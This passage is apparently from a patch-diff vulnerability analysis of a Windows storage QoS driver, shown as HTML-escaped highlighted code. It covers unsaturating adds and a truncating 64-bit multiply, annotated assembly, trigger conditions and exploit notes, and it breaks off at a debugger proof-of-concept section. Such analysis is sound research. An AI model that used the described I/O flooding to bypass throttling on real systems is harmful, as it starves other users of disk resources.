&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rate_control&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// r10 = [rcx+type*8+0x38]&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rate_control&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;overflow_field&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// VULN: unsaturating add&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rate_control&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;base_field&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;// VULN: unsaturating add&lt;/span&gt;

&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rate_control&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;window_start&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// clamped to 0 if negative&lt;/span&gt;

&lt;span class="c1"&gt;// VULN: truncating 64-bit multiply.&lt;/span&gt;
&lt;span class="c1"&gt;// 10000000 * amount wraps when amount &amp;gt; 2^64 / 10000000 (~1.8e12).&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required_time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10000000&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required_time&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// window not satisfied -&amp;gt; caller throttles&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// window satisfied -&amp;gt; caller does NOT throttle&lt;/span&gt;
&lt;span class="c1"&gt;// On overflow, required_time wraps small, so &amp;#39;elapsed &amp;lt; required_time&amp;#39; is&lt;/span&gt;
&lt;span class="c1"&gt;// false; the function returns 1 and throttling is skipped.&lt;/span&gt;


&lt;span class="c1"&gt;// --- PATCHED LOGIC ---&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rate_control&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;counter&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// FIX: saturating addition (clamps to 0xFFFFFFFFFFFFFFFF on overflow)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;saturating_add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rate_control&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;overflow_field&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// FIX: full 128-bit multiply; check the high 64-bit half (RDX).&lt;/span&gt;
&lt;span class="c1"&gt;// If high bits != 0, cap &amp;#39;required_time&amp;#39; at 0x3b9aca00 (1,000,000,000).&lt;/span&gt;
&lt;span class="n"&gt;uint128_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uint128_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;amount&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10000000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required_time&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x3b9aca00&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;product&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;elapsed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;required_time&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// correct throttle decision&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;Below is the relevant assembly sequence from the unpatched binary. The patch replaces these regions with overflow checks (e.g., &lt;code&gt;cmovnb&lt;/code&gt;, &lt;code&gt;cmovb&lt;/code&gt;), an &lt;code&gt;int 0x2c&lt;/code&gt; assertion-failure trap, and single-operand &lt;code&gt;mul&lt;/code&gt; instructions to capture the high 64 bits.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;INSTRUCTIONS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000209b&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xb0&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULN&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Un&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;saturating&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;1&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00020cf&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x98&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULN&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Un&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;saturating&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;2&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00020c3&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xa0&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULN&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Un&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;saturating&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;3&lt;/span&gt;
&lt;span class="nt"&gt;0x1c00020ba&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0xa8&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULN&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Un&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;saturating&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;#&lt;/span&gt;&lt;span class="nn"&gt;4&lt;/span&gt;

&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;setup&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;

&lt;span class="nt"&gt;0x1c0002110&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;imul&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x989680&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULN&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Truncating&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;64-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multiply&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;                                                     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;If&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;8TB&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wraps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;small&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;value&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0002117&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;mul&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Used&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;division&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;scaling&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000211a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000211d&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x1&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0002120&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rdx&lt;/span&gt;
&lt;span class="nt"&gt;0x1c0002123&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;shr&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x6&lt;/span&gt;

&lt;span class="nt"&gt;0x1c0002127&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Throttling&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;decision&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;logic&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="w"&gt;                                                     &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Bypassed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;wrapped&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000212a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="nt"&gt;0x1c00021b5&lt;/span&gt;

&lt;span class="nt"&gt;0x1c0002175&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;imul&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;VULN&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Secondary&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;truncating&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multiply&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;5. Trigger Conditions&lt;/h3&gt;
&lt;p&gt;To trigger this logic bypass natively, the following conditions must be met:
1. The target system must be running with Storage QoS (I/O rate limits) actively enforced on a specific volume, virtual machine, or process (via &lt;code&gt;Set-StorageQoSPolicy&lt;/code&gt; or similar management APIs).
2. An attacker must perform sustained, high-throughput I/O operations (read or write) against the rate-limited target. 
3. The attacker must push data through the volume until the accumulated I/O counter (the byte total the rate-control structure maintains for the bandwidth type) grows past the multiply overflow threshold. This requires sustained high-throughput I/O over an extended period.
4. Once the accumulated counter (&lt;code&gt;r10&lt;/code&gt;) reaches or exceeds &lt;code&gt;2^64 / 10000000&lt;/code&gt; (~&lt;code&gt;0x1AD7F29ABCA&lt;/code&gt;, about 1.8×10^12), the subsequent I/O request will cause the &lt;code&gt;imul rcx, r10, 0x989680&lt;/code&gt; instruction to silently overflow.
5. &lt;strong&gt;Observable Effect:&lt;/strong&gt; The attacker's I/O throughput will cease to be throttled by the OS, exceeding the Storage QoS limitations, potentially starving other processes on the system of disk I/O.&lt;/p&gt;
&lt;h3&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive Provided:&lt;/strong&gt; This is a pure logic-bypass / policy-evasion primitive. It provides no arbitrary memory read/write or control-flow hijacking capabilities.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Exploitation Steps:&lt;/strong&gt; Exploitation simply requires writing a tool (e.g., a targeted file copy or direct disk benchmarking utility like &lt;code&gt;diskspd&lt;/code&gt;) to flood the target drive. Once the internal counter overflows, the process inherits maximum priority for storage I/O.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Mitigations in Place:&lt;/strong&gt; Standard memory protections (SMEP, SMAP, kASLR, CFG) are irrelevant, as no memory corruption occurs. The only effective mitigation is patching the driver, as the overflow is inherent to the mathematical logic of the unpatched driver.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;7. Debugger PoC Playbook&lt;/h3&gt;
&lt;p&gt;To monitor and validate this vulnerability on an unpatched target, attach WinDbg/KD locally or via network debugging.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
